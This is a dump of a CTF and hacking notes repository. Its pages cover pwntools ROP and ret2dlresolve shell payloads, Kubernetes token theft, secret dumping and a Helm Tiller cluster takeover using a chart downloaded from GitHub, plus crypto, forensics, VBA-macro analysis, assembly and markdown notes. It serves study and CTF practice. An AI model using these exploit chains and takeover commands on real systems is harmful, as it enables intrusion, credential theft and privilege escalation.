├── .gitbook └── assets │ ├── 256.coll.png │ ├── CFB_decryption.svg.png │ ├── DH.png │ ├── Disable cache.png │ ├── J0R1AN-1712098522667913454-ezgif.com-video-to-gif-converter.gif │ ├── Picture1.png │ ├── Space - Horizontal.png │ ├── Untitled2.png │ ├── XdX8mLsvKw.png │ ├── collision1_extra.bin │ ├── collision2_extra.bin │ ├── domxss-trigger-table.html │ ├── edit.png │ ├── hmBaYmHbB8.png │ ├── image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png │ ├── image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png │ ├── image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png │ ├── image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png │ ├── image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png │ ├── image (1) (1) (1) (1) (1) (1) (1) (1) (1).png │ ├── image (1) (1) (1) (1) (1) (1) (1) (1).png │ ├── image (1) (1) (1) (1) (1) (1) (1).png │ ├── image (1) (1) (1) (1) (1) (1).png │ ├── image (1) (1) (1) (1) (1).png │ ├── image (1) (1) (1) (1).png │ ├── image (1) (1) (1).png │ ├── image (1) (1) (2).png │ ├── image (1) (1).png │ ├── image (1) (2) (1).png │ ├── image (1) (2) (2).png │ ├── image (1) (2) (3) (1).png │ ├── image (1) (2) (3).png │ ├── image (1) (2).png │ ├── image (1) (3).png │ ├── image (1) (4).png │ ├── image (1) (5) (1).png │ ├── image (1) (5).png │ ├── image (1) (6).png │ ├── image (1) (7).png │ ├── image (1).png │ ├── image (10).png │ ├── image (11) (1).png │ ├── image (11) (2).png │ ├── image (11) (3).png │ ├── image (11) (4).png │ ├── image (11).png │ ├── image (12) (1).png │ ├── image (12).png │ ├── image (13) (1).png │ ├── image (13).png │ ├── image (14) (1).png │ ├── image (14).png │ ├── image (15).png │ ├── image (16) (1).png │ ├── image (16).png │ ├── image (17) (1).png │ ├── image (17).png │ ├── image (18).png │ ├── image (19) (1).png │ ├── image (19).png │ ├── image (2) (1) (1) (1) (1) (1) (1).png │ ├── image (2) (1) (1) (1) (1) (1).png │ ├── image (2) (1) (1) (1) (1).png │ ├── image (2) (1) (1) (1).png │ ├── image (2) (1) (1).png │ ├── image (2) (1).png │ ├── image (2) (2).png │ ├── image (2).png │ ├── image (20) (1).png │ ├── image (20) (2).png │ ├── image (20).png │ ├── image (21).png │ ├── image (22).png │ ├── image (23).png │ ├── image (24).png │ ├── image (25).png │ ├── image (26).png │ ├── image (27).png │ ├── image (28) (1).png │ ├── image (28).png │ ├── image (29) (1).png │ ├── image (29) (2).png │ ├── image (29).png │ ├── image (3) (1) (1).png │ ├── image (3) (1).png │ ├── image (3) (2).png │ ├── image (3) (3) (1).png │ ├── image (3) (3).png │ ├── image (3) (4).png │ ├── image (3) (5).png │ ├── image (3).png │ ├── image (30) (1).png │ ├── image (30).png │ ├── image (31).png │ ├── image (32).png │ ├── image (33).png │ ├── image (34).png │ ├── image (35).png │ ├── image (36).png │ ├── image (37).png │ ├── image (38) (1).png │ ├── image (38).png │ ├── image (39).png │ ├── image (4) (1) (1) (1).png │ ├── image (4) (1) (1).png │ ├── image (4) (1).png │ ├── image (4).png │ ├── image (40).png │ ├── image (41).png │ ├── image (42).png │ ├── image (43).png │ ├── image (44).png │ ├── image (45).png │ ├── image (46).png │ ├── image (47).png │ ├── image (48).png │ ├── image (49).png │ ├── image (5) (1).png │ ├── image (5) (2).png │ ├── image (5).png │ ├── image (50).png │ ├── image (51).png │ ├── image (52).png │ ├── image (53).png │ ├── image (54).png │ ├── image (55).png │ ├── image (56).png │ ├── image (57).png │ ├── image (58).png │ ├── image (59).png │ ├── image (6) (1) (1).png │ ├── image (6) (1).png │ ├── image (6) (2).png │ ├── image (6) (3).png │ ├── image (6) (4).png │ ├── image (6).png │ ├── image (60).png │ ├── image (61).png │ ├── image (62).png │ ├── image (63).png │ ├── image (64).png │ ├── image (65).png │ ├── image (66).png │ ├── image (67).png │ ├── image (68).png │ ├── image (69).png │ ├── image (7) (1).png │ ├── image (7) (2).png │ ├── image (7) (3).png │ ├── image (7).png │ ├── image (70).png │ ├── image (8) (1).png │ ├── image (8).png │ ├── image (9).png │ ├── image-removebg-preview (4).png │ ├── image.png │ ├── mtp showcase.gif │ ├── names.txt │ ├── output.png │ ├── p4BwhIKR9S.png │ ├── ret2libc.py │ ├── session_2.WinSta0.Default.png │ ├── shell.coll.php │ ├── solve_with_angr.py │ ├── toggles14.rule │ └── updates.ps1 ├── README.md ├── SUMMARY.md ├── binary-exploitation ├── pwntools.md ├── race-conditions.md ├── ret2libc.md ├── ret2win.md ├── return-oriented-programming-rop │ ├── README.md │ ├── ret2dlresolve.md │ └── sigreturn-oriented-programming-srop.md ├── reverse-engineering-for-pwn.md ├── sandboxes-chroot-seccomp-and-namespaces.md ├── shellcode.md └── stack-canaries.md ├── cloud ├── kubernetes.md └── microsoft-azure.md ├── cryptography ├── aes.md ├── asymmetric-encryption │ ├── README.md │ ├── diffie-hellman.md │ ├── pgp-gpg.md │ └── rsa.md ├── blockchain │ ├── README.md │ ├── bitcoin-addresses.md │ └── smart-contracts.md ├── ciphers.md ├── custom-ciphers │ ├── README.md │ └── z3-solver.md ├── encodings.md ├── hashing │ ├── README.md │ ├── cracking-hashes.md │ └── cracking-signatures.md ├── pseudo-random-number-generators-prng.md ├── timing-attacks.md └── xor.md ├── forensics ├── archives.md ├── file-formats.md ├── file-recovery.md ├── git.md ├── grep.md ├── memory-dumps-volatility.md ├── vba-macros.md └── wireshark.md ├── languages ├── assembly.md ├── c.md ├── codeql.md ├── java.md ├── javascript │ ├── README.md │ ├── postmessage-exploitation.md │ └── prototype-pollution.md ├── json.md ├── latex.md ├── markdown.md ├── nasl-nessus-plugins.md ├── php.md ├── python.md ├── regular-expressions-regex.md └── yaml.md ├── linux ├── analyzing-processes.md ├── bash.md ├── hacking-linux-boxes.md └── linux-privilege-escalation │ ├── README.md │ ├── command-exploitation.md │ ├── command-triggers.md │ ├── docker.md │ ├── enumeration.md │ ├── filesystem-permissions.md │ ├── network-file-sharing-nfs.md │ ├── networking.md │ └── outdated-versions.md ├── mobile ├── android-backup.md ├── compiling-c-for-android.md ├── http-s-proxy-for-android.md ├── patching-apks.md └── setup.md ├── networking ├── modbus-tcp-502.md └── redis-valkey-tcp-6379.md ├── other ├── ansi-escape-codes.md ├── business-logic-errors.md ├── password-managers.md └── wsl-tips.md ├── reverse-engineering ├── angr-solver.md ├── ghidra.md ├── powershell.md └── reversing-c-.net-unity.md ├── todo └── mobile │ ├── ios.md │ └── reversing-apks.md ├── web ├── chrome-remote-devtools.md ├── client-side │ ├── README.md │ ├── caching.md │ ├── crlf-header-injection.md │ ├── cross-site-request-forgery-csrf.md │ ├── cross-site-scripting-xss │ │ ├── README.md │ │ ├── content-security-policy-csp.md │ │ └── html-injection.md │ ├── css-injection.md │ ├── websockets.md │ └── window-popup-tricks.md ├── enumeration │ ├── README.md │ ├── finding-hosts-and-domains.md │ ├── masscan.md │ ├── nmap.md │ └── osint.md ├── frameworks │ ├── README.md │ ├── angular.md │ ├── bun.md │ ├── flask.md │ ├── nodejs.md │ ├── ruby-on-rails.md │ └── wordpress.md ├── imagemagick.md └── server-side │ ├── README.md │ ├── arbitrary-file-write.md │ ├── graphql.md │ ├── http-request-smuggling.md │ ├── local-file-disclosure.md │ ├── nosql-injection.md │ ├── reverse-proxies.md │ ├── sql-injection.md │ └── xml-external-entities-xxe.md └── windows ├── active-directory-privilege-escalation.md ├── alternate-data-streams-ads.md ├── antivirus-evasion.md ├── exploitation.md ├── lateral-movement.md ├── local-enumeration.md ├── local-privilege-escalation.md ├── metasploit.md ├── persistence.md ├── scanning-spraying.md └── windows-authentication ├── README.md ├── kerberos.md └── ntlm.md /.gitbook/assets/256.coll.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JorianWoltjer/practical-ctf/9ac2ad7214ecba43494a69f9c8ce091f2fdef427/.gitbook/assets/256.coll.png -------------------------------------------------------------------------------- /.gitbook/assets/CFB_decryption.svg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JorianWoltjer/practical-ctf/9ac2ad7214ecba43494a69f9c8ce091f2fdef427/.gitbook/assets/CFB_decryption.svg.png -------------------------------------------------------------------------------- /.gitbook/assets/DH.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JorianWoltjer/practical-ctf/9ac2ad7214ecba43494a69f9c8ce091f2fdef427/.gitbook/assets/DH.png -------------------------------------------------------------------------------- /.gitbook/assets/Disable cache.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JorianWoltjer/practical-ctf/9ac2ad7214ecba43494a69f9c8ce091f2fdef427/.gitbook/assets/Disable cache.png -------------------------------------------------------------------------------- /.gitbook/assets/J0R1AN-1712098522667913454-ezgif.com-video-to-gif-converter.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JorianWoltjer/practical-ctf/9ac2ad7214ecba43494a69f9c8ce091f2fdef427/.gitbook/assets/J0R1AN-1712098522667913454-ezgif.com-video-to-gif-converter.gif -------------------------------------------------------------------------------- /.gitbook/assets/Picture1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JorianWoltjer/practical-ctf/9ac2ad7214ecba43494a69f9c8ce091f2fdef427/.gitbook/assets/Picture1.png -------------------------------------------------------------------------------- /.gitbook/assets/Space - Horizontal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JorianWoltjer/practical-ctf/9ac2ad7214ecba43494a69f9c8ce091f2fdef427/.gitbook/assets/Space - Horizontal.png -------------------------------------------------------------------------------- /.gitbook/assets/Untitled2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JorianWoltjer/practical-ctf/9ac2ad7214ecba43494a69f9c8ce091f2fdef427/.gitbook/assets/Untitled2.png -------------------------------------------------------------------------------- /.gitbook/assets/XdX8mLsvKw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JorianWoltjer/practical-ctf/9ac2ad7214ecba43494a69f9c8ce091f2fdef427/.gitbook/assets/XdX8mLsvKw.png -------------------------------------------------------------------------------- /.gitbook/assets/collision1_extra.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JorianWoltjer/practical-ctf/9ac2ad7214ecba43494a69f9c8ce091f2fdef427/.gitbook/assets/collision1_extra.bin -------------------------------------------------------------------------------- /.gitbook/assets/collision2_extra.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JorianWoltjer/practical-ctf/9ac2ad7214ecba43494a69f9c8ce091f2fdef427/.gitbook/assets/collision2_extra.bin -------------------------------------------------------------------------------- /.gitbook/assets/domxss-trigger-table.html: -------------------------------------------------------------------------------- 1 | 18 |
19 | 20 |rop = ROP(elf)
27 | rop.call(rop.ret)
28 | rop.win()
29 |
30 | {% endhint %}
31 |
32 | ## Adding arguments
33 |
34 | With some more PwnTools magic adding arguments to a function call can also be really easy:
35 |
36 | ```python
37 | rop = ROP(elf)
38 | rop.win(42, 1337)
39 | ```
40 |
41 | But sometimes you need a string, which is a little harder. Strings are stored as **pointers** (addresses) to the string. This means the string itself is not actually stored on the stack we are overflowing, only the address is. We can only set the address, so we need to find some address where the string is stored.
42 |
43 | If you can leak addresses like the stack pointer, you can simply calculate and point it to the address of your own payload, where you completely control the value as it is your input.
44 |
45 | If you can only leak an address like libc, you can search in that binary to find the string you need. For example:
46 |
47 | ```python
48 | libc = ELF("./libc.so.6")
49 | bin_sh = next(libc.search(b"/bin/sh")) # 0x7fcdf0446698
50 |
51 | rop.system(bin_sh) # Call with string argument
52 | ```
53 |
54 | This way you can still call functions with specific string arguments, to get a shell in this case.
55 |
--------------------------------------------------------------------------------
/binary-exploitation/return-oriented-programming-rop/ret2dlresolve.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: >-
3 | A way to exploit buffer overflows using ROP when not many gadgets are
4 | available, and Full RELRO is disabled
5 | ---
6 |
7 | # ret2dlresolve
8 |
9 | Ret2dlresolve is a technique that can be used to trick the binary into resolving a specific function, such as `system()`, into the PLT (Procedure Linkage Table). By doing this, you can use the PLT function as if it was an original component of the binary. This bypasses ASLR and does not require any leaks of the libc address.
10 |
11 | The attack is only possible when you can overwrite GOT entries, making it impossible on Full RELRO. On both No RELRO and Partial RELRO this attack is possible however:
12 |
13 |  (1) (1) (1) (1).png>)
14 |
15 | For a more detailed explanation see:
16 |
17 | {% embed url="https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve" %}
18 | Detailed analysis and information about ret2dlresolve from ir0nstone's notes
19 | {% endembed %}
20 |
21 | ## PwnTools
22 |
23 | PwnTools contains a [`ret2dlresolve`](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html) function that can generate payloads for this attack automatically.
24 |
25 | ### `read()`
26 |
27 | ```python
28 | rop = ROP(elf)
29 | dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['sh'])
30 | rop.raw(rop.ret) # Align stack (64-bit)
31 | rop.read(0, dlresolve.data_addr) # Call read function to write data
32 | rop.ret2dlresolve(dlresolve) # Write data
33 |
34 | p.sendline(flat({
35 | OFFSET: rop.chain(),
36 | }))
37 | p.sendline(dlresolve.payload) # Run /bin/sh
38 |
39 | p.interactive()
40 | ```
41 |
42 | ### `gets()`
43 |
44 | ```python
45 | rop = ROP(elf)
46 | dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['sh'])
47 | rop.raw(rop.ret) # Align stack (64-bit)
48 | rop.gets(dlresolve.data_addr) # Call read function to write data
49 | rop.ret2dlresolve(dlresolve) # Write data
50 |
51 | p.sendline(flat({
52 | OFFSET: rop.chain(),
53 | }))
54 | p.sendline(dlresolve.payload) # Run /bin/sh
55 |
56 | p.interactive()
57 | ```
58 |
--------------------------------------------------------------------------------
/cloud/kubernetes.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: >-
3 | Container Orchestration for managing big scalable infrastructure of
4 | containerized applications
5 | ---
6 |
7 | # Kubernetes
8 |
9 | {% embed url="https://kubernetes.io/docs/reference/glossary/?fundamental=true" %}
10 | Description of many common terminology in the Kubernetes world
11 | {% endembed %}
12 |
13 | The way of attacking a Kubernetes cluster is similar to attacking Windows Active Directory:
14 |
15 | 1. Find a **vulnerability** in an application (RCE, SSRF, SSH, etc.)
16 | 2. Perform **Lateral Movement** to access more pods and nodes with higher privileges
17 | 3. Reach the **Highest Privileges** to do anything an attacker wants
18 |
19 | ## Initial Access
20 |
21 | The `/var/run/secrets/kubernetes.io/serviceaccount/token` file (sometimes `/run` instead of `/var/run`) on a Kubernetes pod contains a Service Account Token in the form of a [JSON Web Token](https://jwt.io/). It can be decoded, and the payload tells you exactly who or what the account belongs to:
22 |
23 | Decoded k8 Service Account Token (source)
# # List everything
39 | $ kubectl get all --token $TOKEN --server $API_SERVER --insecure-skip-tls-verify
40 | $ kubectl get pods # List pods
41 | $ kubectl get secrets # List secrets
42 |
43 | # # Execute an interactive shell with a pod
44 | $ kubectl exec <POD_NAME> --stdin --tty -- /bin/bash
45 | # # Get and decode a secret
46 | $ kubectl get secret <SECRET_NAME> -o jsonpath='{.data.*}' | base64 -d
47 |
48 |
49 | ## Helm V2 - Tiller
50 |
51 | At the time of writing, [Helm](https://helm.sh/) V3 is the newest version, but many clusters still use the outdated V2. This bears some serious security considerations as the Tiller component has full cluster administration RBAC privileges, which can be exploited if we have access to `helm`.
52 |
53 | Taken from [here](https://madhuakula.com/kubernetes-goat/docs/scenarios/scenario-9/helm-v2-tiller-to-pwn-kubernetes-cluster-takeover/welcome), you can test the TCP connection on port `44134` and verify the version:
54 |
55 | $ nc -v tiller-deploy.kube-system 44134
56 | Connection to tiller-deploy.kube-system 44134 port [tcp/*] succeeded!
57 | $ helm version
58 | Client: &version.Version{SemVer:"v2.0.0", GitCommit:"ff52399e51bb880526e9cd0ed8386f6433b74da1", GitTreeState:"clean"}
59 | Server: &version.Version{SemVer:"v2.0.0", GitCommit:"b0c113dfb9f612a9add796549da66c0d294508a3", GitTreeState:"clean"}
60 |
61 |
62 | To start exploiting this, a ready-to-use template exists that requires some minimal changes:
63 |
64 | {% embed url="https://github.com/Ruil1n/helm-tiller-pwn" %}
65 |
66 | ```shell-session
67 | $ curl -o ./pwnchart.tgz https://github.com/Ruil1n/helm-tiller-pwn/raw/main/pwnchart-0.1.0.tgz
68 | $ tar xvf ./pwnchart.tgz
69 | ```
70 |
71 | Inside the newly created `./pwnchart` folder there the two `clusterrole.yaml` and `clusterrolebiniding.yaml` files in the `templates/` folder require the following change:
72 |
73 | {% code title="templates/*.yaml" %}
74 | ```diff
75 | - apiVersion: rbac.authorization.k8s.io/v1beta1
76 | + apiVersion: rbac.authorization.k8s.io/v1
77 | ```
78 | {% endcode %}
79 |
80 | As well as the `values.yml` file where the `name:` key needs to be changed to the **name of the service account token** which will gain all privileges. Make sure this is a service account you own:
81 |
82 | ```diff
83 | - name: default
84 | + name: compromised-user
85 | ```
86 |
87 | Finally, after setting this up you can run the command to install it:
88 |
89 | ```bash
90 | helm --host tiller-deploy.kube-system:44134 install --name pwnchart ./pwnchart
91 | ```
92 |
93 | After doing so, the `compromised-user` token will have every permission on the cluster and can access anything. Check `kubectl get all` for a list of everything.
94 |
--------------------------------------------------------------------------------
/cryptography/asymmetric-encryption/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: >-
3 | Using Public and Private keys to securely transmit data in a way that only the
4 | recipients can decrypt it
5 | ---
6 |
7 | # Asymmetric Encryption
8 |
9 |
--------------------------------------------------------------------------------
/cryptography/asymmetric-encryption/diffie-hellman.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: >-
3 | The Diffie-Hellman Key Exchange uses asymmetric encryption to set up a shared
4 | secret for symmetric encryption
5 | ---
6 |
7 | # Diffie-Hellman
8 |
9 | ## Description
10 |
11 | Symmetric encryption like AES requires a **Shared Secret** from both parties to be able to communicate securely across a **Public Channel** where messages can be intercepted or altered. Asymmetric on the other hand just requires both parties to have their own keypair, but it is very slow to compute in comparison to symmetric encryption. \
12 | The **Diffie-Hellman Key Exchange** solves this problem by utilizing an asymmetric scheme to create a shared secret that can then be used for symmetric encryption.
13 |
14 | Diffie-Hellman Key Exchage: Shared Secret is computed by Alice and Bob with a Public Channel
An visual example of using the Meet in the Middle attack for Rubik's Cubes (from the video)
XOR | 0 | 1 |
0 | 0 | 1 |
1 | 1 | 0 |
Interactively guess letters to expand the plaintext all the way
$ mount
10 | /dev/sdb on / type ext4 (rw,relatime,discard,errors=remount-ro,data=ordered)
11 | ...
12 |
13 |
14 | Then grep for any known text:
15 |
16 | ```shell-session
17 | $ sudo grep -a -C 200 -F 'Insert text here' /dev/sdb | tee /tmp/recovered
18 | ```
19 |
20 | This will output a lot of garbage as well, so you can then filter on ASCII lines only:
21 |
22 | ```shell-session
23 | $ grep --color=never -aoP '^[[:ascii:]]*$' /tmp/recovered
24 | ```
25 |
--------------------------------------------------------------------------------
/forensics/grep.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Search for text inside of files
3 | ---
4 |
5 | # Grep
6 |
7 | ## Description
8 |
9 | Grep is a really useful tool for quickly finding what you're looking for. If you know a file somewhere has some content, or just want to find all files with a certain pattern in them, Grep is the perfect tool for the job. It's written in C and highly optimized, meaning you can quickly search through lots of files.
10 |
11 | ```shell-session
12 | $ grep [OPTIONS...] PATTERNS [FILES...]
13 | ```
14 |
15 | * `OPTIONS` can be any flags to change the way the search works, or matches are displayed
16 | * `PATTERNS` are a string containing one or more patterns to search for, separated by newline characters (`\n`). To put a newline character in an argument you can use the `$'first\nsecond'` syntax
17 | * `FILES` are the files to search through for the `PATTERNS`. If not specified, it will read from standard input (piping into grep). If in recursive mode with -r, it will default to the current directory but can be any directory
18 |
19 | $ grep something file.txt
20 | And here is something.
21 |
22 |
23 | {% hint style="info" %}
24 | See all documentation about the options with `man grep`
25 | {% endhint %}
26 |
27 | ### Options
28 |
29 | The are a few common and really useful options to know in Grep:
30 |
31 | * `-r`: **R**ecursively search a directory (default: current)
32 | * `-v`: In**v**ert search, matching lines where no match
33 | * `-i`: Search case-**i**nsensitive (uppercase/lowercase doesn't matter)
34 | * `-n`: Print the line **n**umber of the match in the file
35 | * `-o`: **O**nly output match (no text around)
36 | * `-a`: Show **a**ll matches (also binary files)
37 | * `-b`: Show **b**yte-offset of matches
38 | * `-l`: **L**ist files that match instead of showing the match
39 | * Simple [regular-expressions-regex.md](../languages/regular-expressions-regex.md "mention") are enabled by default in `PATTERNS`
40 | * `-F`: Treat `PATTERNS` as **f**ixed strings, not regular expressions
41 | * `-P`: Use **p**erl-compatible regular expressions (PCRE) including all advanced RegEx features
42 |
43 | Some options are also available by using `egrep` (`-E`), `fgrep` (`-F`) and `rgrep` (`-r`) to quickly set the options without having to add the flag.
44 |
45 | {% code title="Examples" %}
46 | ```shell-session
47 | # # Select files and output
48 | $ grep -r "something" # Search recursively in current directory for "something"
49 | $ grep -v "something" file.txt # Find all lines in file that don't match "something"
50 | $ grep "something" *.txt # Search "something" in all .txt files (current directory only)
51 | $ grep -r "something" --include "*.txt" # Recursivly search "something" in .txt files
52 | $ grep -ab "something" file.bin # Show all (binary) matches and byte-offset
53 | $ grep -r -l "something" # List filenames that match "something" recursively
54 | $ grep -B2 -A5 "something" file.txt # Show 2 lines before, and 5 lines after match
55 |
56 | # # Patterns
57 | $ grep -r -i "something" # Search case-insensitively for "something"
58 | $ grep "CTF{.*}" file.txt # Search for flag format in file
59 | $ grep -P "\x73\x6f\x6d\x65\x74\x68\x69\x6e\x67" file.txt # Search for hex bytes in file
60 | $ xxd -p file.txt | grep "aabbccdd" # Search for hex bytes using xxd
61 | $ grep $'first\nsecond' file.txt # Search for multiple patterns in one file
62 | ```
63 | {% endcode %}
64 |
65 | {% hint style="info" %}
66 | **Tip**: Also check out [`ripgrep`](https://github.com/BurntSushi/ripgrep) for a Rust implementation of most `grep` features, with better defaults for recursive searching while skipping unnecessary files
67 | {% endhint %}
68 |
--------------------------------------------------------------------------------
/forensics/vba-macros.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: >-
3 | Visual Basic for Applications is a programming language used to create macro
4 | scripts for Microsoft office apps
5 | ---
6 |
7 | # VBA Macros
8 |
9 | VBA Macros are often used for malware as they provide an easy way to execute code by only opening a seemingly harmless Word/Excel document. Not all documents are macro-enabled, only the following are ([source](https://en.wikipedia.org/wiki/List\_of\_Microsoft\_Office\_filename\_extensions)):
10 |
11 | * `.docm`: Word macro-enabled document
12 | * `.dotm`: Word macro-enabled template
13 | * `.xlm`: Legacy Excel macro
14 | * `.xlsm`: Excel macro-enabled workbook
15 | * `.xltm`: Excel macro-enabled template
16 | * `.xla`: Excel add-in that can contain macros
17 | * `.xlam`: Excel macro-enabled add-in
18 | * `.ppam`: PowerPoint 2007 add-in with macros enabled
19 | * `.pptm`: PowerPoint macro-enabled presentation
20 | * `.potm`: PowerPoint macro-enabled template
21 | * `.ppsm`: PowerPoint macro-enabled slideshow
22 | * `.sldm`: PowerPoint macro-enabled slide
23 |
24 | ## OleVBA
25 |
26 | [OleVBA](https://github.com/decalage2/oletools/wiki/olevba) is a tool to detect and analyze VBA Macros. It can find suspicious pieces of code and decode strings to allow you to reverse engineer what the code is doing.
27 |
28 | You can get the source code of a macro-enabled document using the following command:
29 |
30 | ```shell-session
31 | $ olevba document.docm
32 | ```
33 |
34 | This will output a few different things. It will show the VBA code of all the macro files inside, and an analysis of suspicious strings and things like `AutoExec` that can activate macros when you open the document. This source code is what you'll most likely want to be looking at, but often it is very obfuscated as malware detection is getting better and better.
35 |
36 | ### Deobfuscating
37 |
38 | The `--reveal` option can decode a few encodings to make the code more readable in some cases:
39 |
40 | ```shell-session
41 | $ olevba invitation.docm --reveal > reveal.txt # Decode using olevba
42 | $ sed -i -E "s/b'([^'\\\\]*(\\\\.[^'\\\\]*)*)'/\1/g" reveal.txt # Replace b'' strings in output
43 | ```
44 |
45 | For the rest, it's mostly a process of putting the code in a file, and analyzing it by hand with a nice code editor
46 |
47 | {% hint style="info" %}
48 | **Tip:** Use the [XVBA VSCode extension](https://marketplace.visualstudio.com/items?itemName=local-smart.excel-live-server) to easily navigate and highlight the code
49 | {% endhint %}
50 |
51 | A few pieces of syntax you'll likely come across are the following:
52 |
53 | * `Sub main() ... End Sub`: This is a Subroutine, basically a function that is meant to be run by the user. Often these kinds of functions are what trigger the rest, so this is a good place to start
54 | * `Function do_something(arg1 As String) As String ... End Function`: Obviously, this is a function, but it's also important to notice the `As String` types. This shows the types of the argument and the function return type. A value is returned from a function by setting a variable in the function to the name of the function, so this function could **return** using `do_something = ...` in the function body.
55 | * `Dim some_var As String`: Define a variable with a type
56 |
57 | ### Dynamic analysis
58 |
59 | It might be quite some work to manually evaluate the code in your head while reading it, so another option is to just run some smaller pieces of code while logging various outputs. This can save a lot of time, when some larger malicious code is built from string operations for example. It would be really easy to just run the code that builds the malicious code and then analyze that further.
60 |
61 | You can make a simple macro to run by opening a blank document in **Word**, going to the **Developer** tab (if you don't see this [try enabling it here](https://support.microsoft.com/en-us/office/show-the-developer-tab-in-word-e356706f-1891-4bb8-8d72-f57a51146792)), and choosing **Visual Basic**. From there you can **Insert** -> **Module** and a window should pop up for you to write code in. You should start with a `Sub` where you can write your code, and when you want to try running the code press the green  (1).png>) button or just press F5.
62 |
63 | Here's a simple example that should pop up some text:
64 |
65 | ```vba
66 | Sub main()
67 | MsgBox "Hello, world!"
68 | End Sub
69 | ```
70 |
71 | Often you'll want to use this to see the return values of functions, so one simple way is to just call a function, and save the result to a file, as VBA does not have a simple console to log things in. The code would look something like this:
72 |
73 | ```vba
74 | Sub main()
75 | Dim result As String
76 | result = mystery()
77 | Open "result.txt" For Output As #1
78 | Print #1, result
79 | Close #1
80 | End Sub
81 |
82 | Function mystery() As String
83 | mystery = "this is returned"
84 | End Function
85 | ```
86 |
87 | When saving a file like this, you need to have saved the document you're working on somewhere. Then all paths in the macros will be relative to that saved file, so you should find `result.txt` next to the saved document.
88 |
89 | When saving the file you need to explicitly say it is a document with macros enabled, or else it won't save the macros with the document. Do this simply by selecting **Word Macro-Enabled Document (\*.docm)** in **Save as type**.
90 |
91 | Afterward, you should be able to quickly run your macro with F5 and check the output in `result.txt`.
92 |
--------------------------------------------------------------------------------
/languages/assembly.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: A few cheatsheet-like things about the Assembly language
3 | ---
4 |
5 | # Assembly
6 |
7 | ## Registers
8 |
9 | Generally, `r`-prefixed registers are 64-bit, `e`-prefixed registers are 32-bit, non-prefixed registers are 16-bit, and `l`-suffixed registers are 8-bit. For `r8-15` see the special cases below ([source](https://stackoverflow.com/a/20637866/10508498)):
10 |
11 | 64-bit register | Lower 32 bits | Lower 16 bits | Lower 8 bits |
---|---|---|---|
rax | eax | ax | al |
rbx | ebx | bx | bl |
rcx | ecx | cx | cl |
rdx | edx | dx | dl |
rsi | esi | si | sil |
rdi | edi | di | dil |
rbp | ebp | bp | bpl |
rsp | esp | sp | spl |
r8 | r8d | r8w | r8b (r8l ) |
r9 | r9d | r9w | r9b (r9l ) |
r10 | r10d | r10w | r10b (r10l ) |
r11 | r11d | r11w | r11b (r11l ) |
r12 | r12d | r12w | r12b (r12l ) |
r13 | r13d | r13w | r13b (r13l ) |
r14 | r14d | r14w | r14b (r14l ) |
r15 | r15d | r15w | r15b (r15l ) |
# H1
## H2
### H3
1. First item
2. Second item
3. Third item
- First item
- Second item
- Third item
Syntax | Description |
---|---|
Header | Title |
Paragraph | Text |
| Syntax | Description |
| ----------- | ----------- |
| Header | Title |
| Paragraph | Text |
{
35 | "firstName": "John",
36 | "lastName": "Smith",
37 | "age": 25
38 | }
39 |
| ```json
{
"firstName": "John",
"lastName": "Smith",
"age": 25
}
```
- [x] Write the press release
- [ ] Update the website
- [ ] Contact the media